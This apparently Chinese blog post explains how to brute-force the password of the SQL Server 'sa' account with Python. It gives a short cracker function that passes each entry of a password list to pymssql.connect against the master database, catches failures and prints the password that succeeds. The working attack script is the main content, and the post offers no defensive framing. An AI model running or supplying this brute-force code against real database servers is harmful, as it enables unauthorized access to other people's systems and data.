利用python破解sqlserver账号密码
16lz
2021-01-22
一、编写密码测试函数
在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下:
connect(server,user,password,database)
help文档的函数介绍:
connect(...)
Constructor for creating a connection to the database. Returns a
Connection object.
正常情况下,如果输入正确的server,user,password和database参数,该函数会返回一个数据库连接对象,而输入的参数是错误的信息时,则会报错,并返回各种错误提示。
所以倘若使用循环语句,将所有可能的密码字符串传递给connect函数,并配合try...except...就可以达到破解mssql一个指定账号的密码的目的了。
1 def cracker(server,pswd_list): 2 for pswd in pswd_list: 3 try: 4 conn=pymssql.connect(server,'sa',str(pswd),database='master') 5 print(u"服务器%s 账号sa的密码为 : %s\n" % (server,pswd)) 6 conn.close() 7 break 8 except: 9 continue
更多相关文章
- Python——函数 8、可变长参数
- Python基础数据类型-函数传参详解
- python函数不定长参数
- python基础(7)--深浅拷贝、函数
- Python中int()函数的用法
- python 函数式编程
- Python内置函数之匿名(lambda)函数
- python函数的属性
- python学习笔记10(函数一): 函数使用、调用、返回值